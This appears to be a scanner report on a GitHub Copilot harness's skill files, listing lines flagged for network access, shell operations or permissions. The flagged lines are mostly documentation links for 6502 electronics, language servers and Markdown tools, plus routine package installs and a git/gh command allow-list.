  • Network accessline 214
    * <https://wilsonminesco.com/6502primer/LogicFamilies.html>
  • Network accessline 215
    * <https://wilsonminesco.com/6502primer/ClkGen.html>
  • Network accessline 216
    * <https://wilsonminesco.com/6502primer/RSTreqs.html>
  • Network accessline 217
    * <https://wilsonminesco.com/6502primer/displays.html>
  • Network accessline 218
    * <https://wilsonminesco.com/6502primer/debug.html>
  • Network accessline 219
    * <https://wilsonminesco.com/6502primer/potpourri.html>

harness/github-copilot/skills/legacy-circuit-mockups/references/6522.md

  • Network accessline 208
    * <https://en.wikipedia.org/wiki/MOS_Technology_6522>
  • Network accessline 209
    * <https://grokipedia.com/page/MOS_Technology_6522>

harness/github-copilot/skills/legacy-circuit-mockups/references/6C62256.md

  • Network accessline 173
    * <https://www.alliancememory.com/wp-content/uploads/AS6C62256-23-March-2016-rev1.2.pdf>
  • Network accessline 174
    * <https://www.futurlec.com/Datasheet/Memory/62256.pdf>
  • Network accessline 175
    * <https://www.malinov.com/sergeys-blog/homebrew-notes.html>

harness/github-copilot/skills/legacy-circuit-mockups/references/7400-series.md

  • Network accessline 173
    * <https://www.ti.com/lit/ds/symlink/sn74ls00.pdf>
  • Network accessline 174
    * <https://archive.org/details/TTLCookBook>
  • Network accessline 175
    * <https://digilent.com/reference/test-and-measurement/analog-discovery-2/hardware-design-guide>

harness/github-copilot/skills/legacy-circuit-mockups/references/assembly-compiler.md

  • Network accessline 248
    * [MOS 6502 Programming Manual](http://archive.6502.org/datasheets/synertek_programming_manual.pdf)
  • Network accessline 249
    * [MOS 6522 VIA Datasheet](http://archive.6502.org/datasheets/mos_6522_preliminary_nov_1977.pdf)
  • Network accessline 250
    * [AT28C256 Datasheet](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf)
  • Network accessline 251
    * [HD44780 LCD Datasheet](https://www.futurlec.com/LED/LCD16X2BLa.shtml)
  • Network accessline 252
    * [cc65 Toolchain Docs](https://cc65.github.io/doc/cc65.html)

harness/github-copilot/skills/legacy-circuit-mockups/references/assembly-language.md

  • Network accessline 217
    * [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html)
  • Network accessline 218
    * [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502)
  • Network accessline 219
    * [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation)
  • Network accessline 220
    * [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)

harness/github-copilot/skills/legacy-circuit-mockups/references/breadboard.md

  • Network accessline 206
    * [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard)
  • Network accessline 207
    * [https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard](https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard)
  • Network accessline 208
    * [https://learn.adafruit.com/breadboards-for-beginners](https://learn.adafruit.com/breadboards-for-beginners)

harness/github-copilot/skills/legacy-circuit-mockups/references/common-breadboard-components.md

  • Network accessline 50
    * [https://en.wikipedia.org/wiki/Resistor](https://en.wikipedia.org/wiki/Resistor)
  • Network accessline 88
    * [https://en.wikipedia.org/wiki/Capacitor](https://en.wikipedia.org/wiki/Capacitor)
  • Network accessline 112
    * [https://en.wikipedia.org/wiki/Inductor](https://en.wikipedia.org/wiki/Inductor)
  • Network accessline 140
    * [https://en.wikipedia.org/wiki/Diode](https://en.wikipedia.org/wiki/Diode)
  • Network accessline 164
    * [https://en.wikipedia.org/wiki/Light-emitting_diode](https://en.wikipedia.org/wiki/Light-emitting_diode)
  • Network accessline 190
    * [https://en.wikipedia.org/wiki/Transistor](https://en.wikipedia.org/wiki/Transistor)
  • Network accessline 209
    * [https://en.wikipedia.org/wiki/Integrated_circuit](https://en.wikipedia.org/wiki/Integrated_circuit)
  • Network accessline 244
    * [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard)
  • Network accessline 273
    * [https://learn.sparkfun.com](https://learn.sparkfun.com)
  • Network accessline 274
    * [https://www.allaboutcircuits.com](https://www.allaboutcircuits.com)
  • Network accessline 275
    * [https://www.electronics-tutorials.ws](https://www.electronics-tutorials.ws)
  • Network accessline 276
    * [https://en.wikipedia.org/wiki/Electronics](https://en.wikipedia.org/wiki/Electronics)

harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-28256-eeprom.md

  • Network accessline 231
    * [AT28C256 Datasheet (Microchip)](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf)
  • Network accessline 232
    * [Ben Eater 6502 Computer Series](https://eater.net/6502)
  • Network accessline 233
    * <https://www.youtube.com/watch?v=oO8_2JJV0B4>
  • Network accessline 234
    * [6502.org Memory Mapping Notes](https://6502.co.uk/lesson/memory-map)

harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-6502.md

  • Network accessline 242
    * [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html)
  • Network accessline 243
    * [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502)
  • Network accessline 244
    * [https://github.com/Klaus2m5/6502_65C02_functional_tests](https://github.com/Klaus2m5/6502_65C02_functional_tests)
  • Network accessline 245
    * [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)

harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-6522.md

  • Network accessline 280
    * [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation)
  • Network accessline 281
    * [https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf](https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf)
  • Network accessline 282
    * [https://www.nesdev.org/wiki/6522](https://www.nesdev.org/wiki/6522)

harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-6C62256.md

  • Network accessline 226
    * [Alliance Memory AS6C62256 Datasheet](https://www.alliancememory.com/wp-content/uploads/AS6C62256-23-March-2016-rev1.2.pdf)
  • Network accessline 227
    * [https://en.wikipedia.org/wiki/Static_random-access_memory](https://en.wikipedia.org/wiki/Static_random-access_memory)

harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-lcd.md

  • Network accessline 252
    * [HD44780U Datasheet (Hitachi)](https://academy.cba.mit.edu/classes/output_devices/44780.pdf)
  • Network accessline 253
    * [Ben Eater LCD Interface Notes](https://hackaday.io/project/174128-db6502/log/181838-adventures-with-hd44780-lcd-controller)
  • Network accessline 254
    * [Ben Eater's 6502 Computer](https://github.com/tedkotz/be6502)
  • Network accessline 255
    * [Build a 6502 Computer](https://eater.net/6502)

harness/github-copilot/skills/legacy-circuit-mockups/references/lcd.md

  • Network accessline 204
    * <https://static6.arrow.com/aropdfconversion/1f68489996f057bb6611f71d5fdb5f60f44faa72/pgurl_58439499065092.pdf>
  • Network accessline 205
    * <https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf>
  • Network accessline 206
    * <https://predictabledesigns.com/introduction-embedded-electronic-displays/>

harness/github-copilot/skills/legacy-circuit-mockups/references/minipro.md

  • Dangerous shell operationline 47
    sudo apt install minipro
  • Network accessline 53
    git clone https://github.com/vdudouyt/minipro.git
  • Dangerous shell operationline 55
    sudo make install
  • Network accessline 205
    * <https://gitlab.com/DavidGriffith/minipro>
  • Network accessline 206
    * <https://www.hadex.cz/spec/m545b.pdf>
  • Network accessline 207
    * <https://github.com/mikeroyal/Firmware-Guide>
  • Network accessline 208
    * <https://mike42.me/blog/2021-08-a-first-look-at-programmable-logic>
  • Network accessline 209
    * <https://retrocomputingforum.com/>

harness/github-copilot/skills/legacy-circuit-mockups/references/t48eeprom-programmer.md

  • Network accessline 170
    * <https://www.bulcomp-eng.com/datasheet/XGecu%20T48%20-%20Introduction.pdf>
  • Network accessline 171
    * <https://gitlab.com/DavidGriffith/minipro>
  • Network accessline 172
    * <https://opensource.com/article/23/1/learn-machine-language-retro-computer>

harness/github-copilot/skills/load-performance-testing/SKILL.md

  • Network accessline 134
    - [k6 documentation](https://grafana.com/docs/k6/latest/)
  • Network accessline 135
    - [Apache JMeter user manual](https://jmeter.apache.org/usermanual/index.html)
  • Network accessline 136
    - [Locust documentation](https://docs.locust.io/en/stable/)
  • Network accessline 137
    - [Gatling documentation](https://docs.gatling.io/)

harness/github-copilot/skills/lsp-setup/SKILL.md

  • Network accessline 133
    - [VS Code known language identifiers](https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers)

harness/github-copilot/skills/lsp-setup/references/lsp-servers.md

  • Network accessline 11
    **Server**: [typescript-language-server](https://github.com/typescript-language-server/typescript-language-server)
  • Network accessline 40
    **Server**: [Eclipse JDT Language Server (jdtls)](https://github.com/eclipse-jdtls/eclipse.jdt.ls)
  • Network accessline 47
    |---------|-----------------------------------| | macOS   | `brew install jdtls`              | | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ |
  • Network accessline 48
    | macOS   | `brew install jdtls`              | | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | | Windows | Download from https://download.eclipse.
  • Network accessline 49
    | Linux   | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ |
  • Network accessline 50
    | Windows | Download from https://download.eclipse.org/jdtls/milestones/ and add `bin/` to `PATH` |
  • Network accessline 68
    > **Note**: The `jdtls` wrapper script handles `--stdio` mode internally. If using a manual install, you may need to invoke the launcher jar directly — see the [jdtls README](https://github.com/eclipse-jdtls/eclipse.jdt.ls#running-from-comm
  • Network accessline 74
    **Server**: [pyright](https://github.com/microsoft/pyright)
  • Network accessline 101
    **Server**: [gopls](https://github.com/golang/tools/tree/master/gopls)
  • Network accessline 128
    **Server**: [rust-analyzer](https://github.com/rust-lang/rust-analyzer)
  • Network accessline 157
    **Server**: [clangd](https://clangd.llvm.org/)
  • Network accessline 163
    | macOS   | `brew install llvm` (clangd included) or Xcode command line tools | | Linux   | `apt install clangd` / `dnf install clang-tools-extra` | | Windows | Download LLVM from https://releases.llvm.org/ |
  • Network accessline 165
    | Windows | Download LLVM from https://releases.llvm.org/ |
  • Network accessline 191
    **Server**: [Roslyn Language Server](https://github.com/dotnet/roslyn) (via `dotnet dnx`)
  • Network accessline 195
    | OS      | Command                                                        | |---------|----------------------------------------------------------------| | Any     | Requires the [.NET SDK](https://dot.net/download) installed    |
  • Network accessline 197
    | Any     | Requires the [.NET SDK](https://dot.net/download) installed    |
  • Network accessline 217
    **Server**: [solargraph](https://github.com/castwide/solargraph)
  • Network accessline 245
    **Server**: [intelephense](https://github.com/bmewburn/vscode-intelephense)
  • Network accessline 271
    **Server**: [kotlin-language-server](https://github.com/fwcd/kotlin-language-server)
  • Network accessline 299
    **Server**: [sourcekit-lsp](https://github.com/swiftlang/sourcekit-lsp) (bundled with Swift toolchain)
  • Network accessline 304
    |---------|----------------------------------------------------------------| | macOS   | Included with Xcode; binary at `xcrun sourcekit-lsp`           | | Linux   | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 305
    | macOS   | Included with Xcode; binary at `xcrun sourcekit-lsp`           | | Linux   | Included with Swift toolchain; install from https://swift.org  | | Windows | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 306
    | Linux   | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 307
    | Windows | Included with Swift toolchain; install from https://swift.org  |
  • Network accessline 329
    **Server**: [lua-language-server](https://github.com/LuaLS/lua-language-server)
  • Network accessline 357
    **Server**: [yaml-language-server](https://github.com/redhat-developer/yaml-language-server)
  • Network accessline 384
    **Server**: [bash-language-server](https://github.com/bash-lsp/bash-language-server)

harness/github-copilot/skills/make-repo-contribution/SKILL.md

  • Broad permissionsline 1
    Read Edit Bash(git:*) Bash(gh issue:*) Bash(gh pr:*)

harness/github-copilot/skills/markdown-to-html/SKILL.md

  • Network accessline 15
    Expert skill for converting Markdown documents to HTML using the marked.js library, or writing data conversion scripts; in this case scripts similar to [markedJS/marked](https://github.com/markedjs/marked) repository. For custom scripts kno
  • Network accessline 40
    One sentence with a [link](https://example.com), and a HTML snippet like `<p>paragraph tag</p>`.
  • Network accessline 67
    <p>One sentence with a <a href="https://example.com">link</a>, and a HTML snippet like <code>&lt;p&gt;paragraph tag&lt;/p&gt;</code>.</p>

harness/github-copilot/skills/markdown-to-html/references/basic-markdown-to-html.md

  • Network accessline 240
    [GitHub Pages](https://pages.github.com/)
  • Network accessline 246
    <a href="https://pages.github.com/">GitHub Pages</a>
  • Network accessline 348
    <a href="https://docs.github.com/en/support" class="user-mention">@github/support</a>

harness/github-copilot/skills/markdown-to-html/references/basic-markdown.md

  • Network accessline 15
    ![Screenshot of rendered GitHub Markdown showing sample h1, h2, and h3 headers, which descend in type size and visual weight to show hierarchy level.](https://docs.github.com/assets/images/help/writing/headings-rendered.png)
  • Network accessline 19
    ![Screenshot of a README file with the drop-down menu for the table of contents exposed. The table of contents icon is outlined in dark orange.](https://docs.github.com/assets/images/help/repository/headings-toc.png)
  • Network accessline 48
    ![Screenshot of rendered GitHub Markdown showing the difference between normal and quoted text.](https://docs.github.com/assets/images/help/writing/quoted-text-rendered.png)
  • Network accessline 50
    > \[!NOTE] > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 1
  • Network accessline 51
    > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 16 16" class
  • Network accessline 61
    ![Screenshot of rendered GitHub Markdown showing that characters surrounded by backticks are shown in a fixed-width typeface, highlighted in light gray.](https://docs.github.com/assets/images/help/writing/inline-code-rendered.png)
  • Network accessline 74
    ![Screenshot of rendered GitHub Markdown showing a simple code block without syntax highlighting.](https://docs.github.com/assets/images/help/writing/code-block-rendered.png)
  • Network accessline 76
    For more information, see [Creating and highlighting code blocks](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks).
  • Network accessline 78
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/en/get-star
  • Network accessline 88
    ![Screenshot of rendered GitHub Markdown showing how HEX values within backticks create small circles of color, here white and then black.](https://docs.github.com/assets/images/help/writing/supported-color-models-rendered.png)
  • Network accessline 92
    | Color | Syntax                      | Example                             | Output                                                                                                                                                            
  • Network accessline 93
    | ----- | --------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------
  • Network accessline 94
    | HEX   | <code>\`#RRGGBB\`</code>    | <code>\`#0969DA\`</code>            | ![Screenshot of rendered GitHub Markdown showing how HEX value #0969DA appears with a blue circle.](https://docs.github.com/assets/images/help/writing/supported-c
  • Network accessline 95
    | RGB   | <code>\`rgb(R,G,B)\`</code> | <code>\`rgb(9, 105, 218)\`</code>   | ![Screenshot of rendered GitHub Markdown showing how RGB value 9, 105, 218 appears with a blue circle.](https://docs.github.com/assets/images/help/writing/support
  • Network accessline 96
    | HSL   | <code>\`hsl(H,S,L)\`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | ![Screenshot of rendered GitHub Markdown showing how HSL value 212, 92%, 45% appears with a blue circle.](https://docs.github.com/assets/images/help/writing/suppo
  • Network accessline 109
    `This site was built using [GitHub Pages](https://pages.github.com/).`
  • Network accessline 111
    ![Screenshot of rendered GitHub Markdown showing how text within brackets, "GitHub Pages," appears as a blue hyperlink.](https://docs.github.com/assets/images/help/writing/link-rendered.png)
  • Network accessline 113
    > \[!NOTE] > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/a
  • Network accessline 114
    > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-r
  • Network accessline 120
    ![Screenshot of a README for a repository. To the left of a section heading, a link icon is outlined in dark orange.](https://docs.github.com/assets/images/help/repository/readme-links.png)
  • Network accessline 130
    For more detailed information on the requirements of URI fragments, see [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax, Section 3.5](https://www.rfc-editor.org/rfc/rfc3986#section-3.5).
  • Network accessline 255
    `![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](https://myoctocat.com/assets/images/base-octocat.svg)`
  • Network accessline 257
    ![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](https://docs.github.com/assets/images/help/writing/image-rendered.png)
  • Network accessline 293
    ![Screenshot of rendered GitHub Markdown showing a bulleted list of the names of the first three American presidents.](https://docs.github.com/assets/images/help/writing/unordered-list-rendered.png)
  • Network accessline 303
    ![Screenshot of rendered GitHub Markdown showing a numbered list of the names of the fourth, fifth, and sixth American presidents.](https://docs.github.com/assets/images/help/writing/ordered-list-rendered.png)
  • Network accessline 309
    To create a nested list using the web editor on GitHub or a text editor that uses a monospaced font, like [Visual Studio Code](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested 
  • Network accessline 320
    ![Screenshot of Markdown in Visual Studio Code showing indentation of nested numbered lines and bullets.](https://docs.github.com/assets/images/help/writing/nested-list-alignment.png)
  • Network accessline 322
    ![Screenshot of rendered GitHub Markdown showing a numbered item followed by nested bullets at two different levels of nesting.](https://docs.github.com/assets/images/help/writing/nested-list-example-1.png)
  • Network accessline 333
    ![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by a bulleted item nested one level.](https://docs.github.com/assets/images/help/writing/nested-list-example-3.png)
  • Network accessline 343
    ![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by bullets at two different levels of nesting.](https://docs.github.com/assets/images/help/writing/nested-list-example-2.png)
  • Network accessline 345
    For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265).
  • Network accessline 352
    - [x] #739 - [ ] https://github.com/{owner}/{repo}/issues/{issue-number}
  • Network accessline 353
    - [ ] https://github.com/{owner}/{repo}/issues/{issue-number}
  • Network accessline 357
    ![Screenshot showing the rendered version of the markdown. The references to issues are rendered as issue titles.](https://docs.github.com/assets/images/help/writing/task-list-rendered-simple.png)
  • Network accessline 363
    For more information, see [About tasklists](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists).
  • Network accessline 367
    You can mention a person or [team](https://docs.github.com/en/organizations/organizing-members-into-teams) on GitHub by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the 
  • Network accessline 374
    ![Screenshot of rendered GitHub Markdown showing how the team mention "@github/support" renders as bold, clickable text.](https://docs.github.com/assets/images/help/writing/mention-rendered.png)
  • Network accessline 376
    When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see [About organization teams](https://docs.github.com/en/organizations/o
  • Network accessline 386
    For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls).
  • Network accessline 390
    If custom autolink references are configured for a repository, then references to external resources, like a JIRA issue or Zendesk ticket, convert into shortened links. To know which autolinks are available in your repository, contact someo
  • Network accessline 402
    ![Screenshot of rendered GitHub Markdown showing how emoji codes for +1 and shipit render visually as emoji.](https://docs.github.com/assets/images/help/writing/emoji-rendered.png)
  • Network accessline 406
    For a full list of available emoji and codes, see [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/github-actions-auto-update/README.md).
  • Network accessline 428
    ![Screenshot of rendered Markdown showing superscript numbers used to indicate footnotes, along with optional line breaks inside a note.](https://docs.github.com/assets/images/help/writing/footnote-rendered.png)
  • Network accessline 460
    ![Screenshot of rendered Markdown alerts showing how Note, Tip, Important, Warning, and Caution render with different colored text and icons.](https://docs.github.com/assets/images/help/writing/alerts-rendered.png)
  • Network accessline 476
    ![Screenshot of rendered GitHub Markdown showing how backslashes prevent the conversion of asterisks to italics.](https://docs.github.com/assets/images/help/writing/escaped-character-rendered.png)
  • Network accessline 478
    For more information on backslashes, see Daring Fireball's [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash).
  • Network accessline 487
    ![Screenshot of a Markdown file in a repository showing options for interacting with the file. A button, labeled "Code", is outlined in dark orange.](https://docs.github.com/assets/images/help/writing/display-markdown-as-source-global-nav-u
  • Network accessline 493
    *[GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 494
    *[About writing and formatting on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github)
  • Network accessline 495
    *[Working with advanced formatting](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting)
  • Network accessline 496
    *[Quickstart for writing on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)

harness/github-copilot/skills/markdown-to-html/references/code-blocks-to-html.md

  • Network accessline 117
    [About writing and formatting on GitHub](https://docs.github.com/...)
  • Network accessline 121
    <a href="https://docs.github.com/...">About writing and formatting on GitHub</a>
  • Network accessline 129
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 133
    <ul>   <li>     <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>
  • Network accessline 134
    <li>     <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>   </li>
  • Network accessline 135
    <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>

harness/github-copilot/skills/markdown-to-html/references/code-blocks.md

  • Network accessline 17
    ![Screenshot of rendered GitHub Markdown showing the use of triple backticks to create code blocks. The block begins with "function test() {."](https://docs.github.com/assets/images/help/writing/fenced-code-block-rendered.png)
  • Network accessline 32
    ![Screenshot of rendered Markdown showing that when you write triple backticks between quadruple backticks they are visible in the rendered content.](https://docs.github.com/assets/images/help/writing/fenced-code-show-backticks-rendered.png
  • Network accessline 34
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started
  • Network accessline 56
    ![Screenshot of three lines of Ruby code as displayed on GitHub. Elements of the code display in purple, blue, and red type for scannability.](https://docs.github.com/assets/images/help/writing/code-block-syntax-highlighting-rendered.png)
  • Network accessline 58
    > \[!TIP] > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pa
  • Network accessline 59
    > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pages/settin
  • Network accessline 61
    We use [Linguist](https://github.com/github-linguist/linguist) to perform language detection and to select [third-party grammars](https://github.com/github-linguist/linguist/blob/main/vendor/README.md) for syntax highlighting. You can find 
  • Network accessline 65
    You can also use code blocks to create diagrams in Markdown. GitHub supports Mermaid, GeoJSON, TopoJSON, and ASCII STL syntax. For more information, see [Creating diagrams](https://docs.github.com/get-started/writing-on-github/working-with-
  • Network accessline 69
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 70
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/github-copilot/skills/markdown-to-html/references/collapsed-sections.md

  • Network accessline 33
    ![Screenshot of the Markdown above on this page as rendered on GitHub, showing a right-facing arrow and the header "Tips for collapsed sections."](https://docs.github.com/assets/images/help/writing/collapsed-section-view.png)
  • Network accessline 37
    ![Screenshot of the Markdown above on this page as rendered on GitHub. The collapsed section contains headers, text, images, and code blocks.](https://docs.github.com/assets/images/help/writing/open-collapsed-section.png)
  • Network accessline 47
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 48
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/github-copilot/skills/markdown-to-html/references/extended-guide.md

  • Network accessline 12
    ```html     <p>This sentence uses <code>$</code> delimiters to show math inline:      <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 13
    <p>This sentence uses <code>$</code> delimiters to show math inline:      <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">       <msqrt><mn>3</mn><mi>x</mi><mo>−</mo><mn>1</mn></msqrt>
  • Network accessline 14
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 29
    <p><strong>The Cauchy-Schwarz Inequality</strong><br>      <math-renderer>       <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 30
    <math-renderer>       <math xmlns="http://www.w3.org/1998/Math/MathML">        <msup>
  • Network accessline 31
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 180
    - [DOMPurify](https://github.com/cure53/DOMPurify) (recommended)
  • Network accessline 181
    - [sanitize-html](https://github.com/apostrophecms/sanitize-html)
  • Network accessline 182
    - [js-xss](https://github.com/leizongmin/js-xss)
  • Network accessline 206
    - Pandoc installed (download from <https://pandoc.org/installing.html>)
  • Network accessline 402
    Recommended sanitizer: [Bluemonday](https://github.com/microcosm-cc/bluemonday)
  • Network accessline 447
    # Access at http://localhost:4000
  • Network accessline 538
    - Hugo installed (download from <https://gohugo.io/installation/>)
  • Network accessline 553
    # Add a theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 554
    git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml
  • Network accessline 555
    git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 584
    # Start with live reload and bind to all interfaces hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/
  • Network accessline 585
    hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/
  • Network accessline 682
    - [tables.md](../references/tables.md) - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/>
  • Network accessline 683
    - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css>
  • Network accessline 684
    - Markdown Guide: <https://www.markdownguide.org/basic-syntax/>
  • Network accessline 685
    - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css>
  • Network accessline 689
    - Official documentation: <https://marked.js.org/>
  • Network accessline 690
    - Advanced options: <https://marked.js.org/using_advanced>
  • Network accessline 691
    - Extensibility: <https://marked.js.org/using_pro>
  • Network accessline 692
    - GitHub repository: <https://github.com/markedjs/marked>
  • Network accessline 696
    - Getting started: <https://pandoc.org/getting-started.html>
  • Network accessline 697
    - Official documentation: <https://pandoc.org/MANUAL.html>
  • Network accessline 698
    - Extensibility: <https://pandoc.org/extras.html>
  • Network accessline 699
    - GitHub repository: <https://github.com/jgm/pandoc>
  • Network accessline 703
    - Official documentation: <https://pkg.go.dev/github.com/gomarkdown/markdown>
  • Network accessline 704
    - Advanced configuration: <https://pkg.go.dev/github.com/gomarkdown/markdown/html>
  • Network accessline 705
    - Markdown processing: <https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html>
  • Network accessline 706
    - GitHub repository: <https://github.com/gomarkdown/markdown>
  • Network accessline 710
    - Official documentation: <https://jekyllrb.com/docs/>
  • Network accessline 711
    - Configuration options: <https://jekyllrb.com/docs/configuration/options/>
  • Network accessline 712
    - Plugins: <https://jekyllrb.com/docs/plugins/>
  • Network accessline 713
    - [Installation](https://jekyllrb.com/docs/plugins/installation/)
  • Network accessline 714
    - [Generators](https://jekyllrb.com/docs/plugins/generators/)
  • Network accessline 715
    - [Converters](https://jekyllrb.com/docs/plugins/converters/)
  • Network accessline 716
    - [Commands](https://jekyllrb.com/docs/plugins/commands/)
  • Network accessline 717
    - [Tags](https://jekyllrb.com/docs/plugins/tags/)
  • Network accessline 718
    - [Filters](https://jekyllrb.com/docs/plugins/filters/)
  • Network accessline 719
    - [Hooks](https://jekyllrb.com/docs/plugins/hooks/)
  • Network accessline 720
    - GitHub repository: <https://github.com/jekyll/jekyll>
  • Network accessline 724
    - Official documentation: <https://gohugo.io/documentation/>
  • Network accessline 725
    - All Settings: <https://gohugo.io/configuration/all/>
  • Network accessline 726
    - Editor Plugins: <https://gohugo.io/tools/editors/>
  • Network accessline 727
    - GitHub repository: <https://github.com/gohugoio/hugo>

harness/github-copilot/skills/markdown-to-html/references/gomarkdown.md

  • Network accessline 249
    - [Package Documentation](https://pkg.go.dev/github.com/gomarkdown/markdown)
  • Network accessline 250
    - [Advanced Processing Guide](https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html)
  • Network accessline 251
    - [GitHub Repository](https://github.com/gomarkdown/markdown)
  • Network accessline 252
    - [CLI Tool](https://github.com/gomarkdown/mdtohtml)
  • Network accessline 253
    - [Bluemonday Sanitizer](https://github.com/microcosm-cc/bluemonday)

harness/github-copilot/skills/markdown-to-html/references/hugo.md

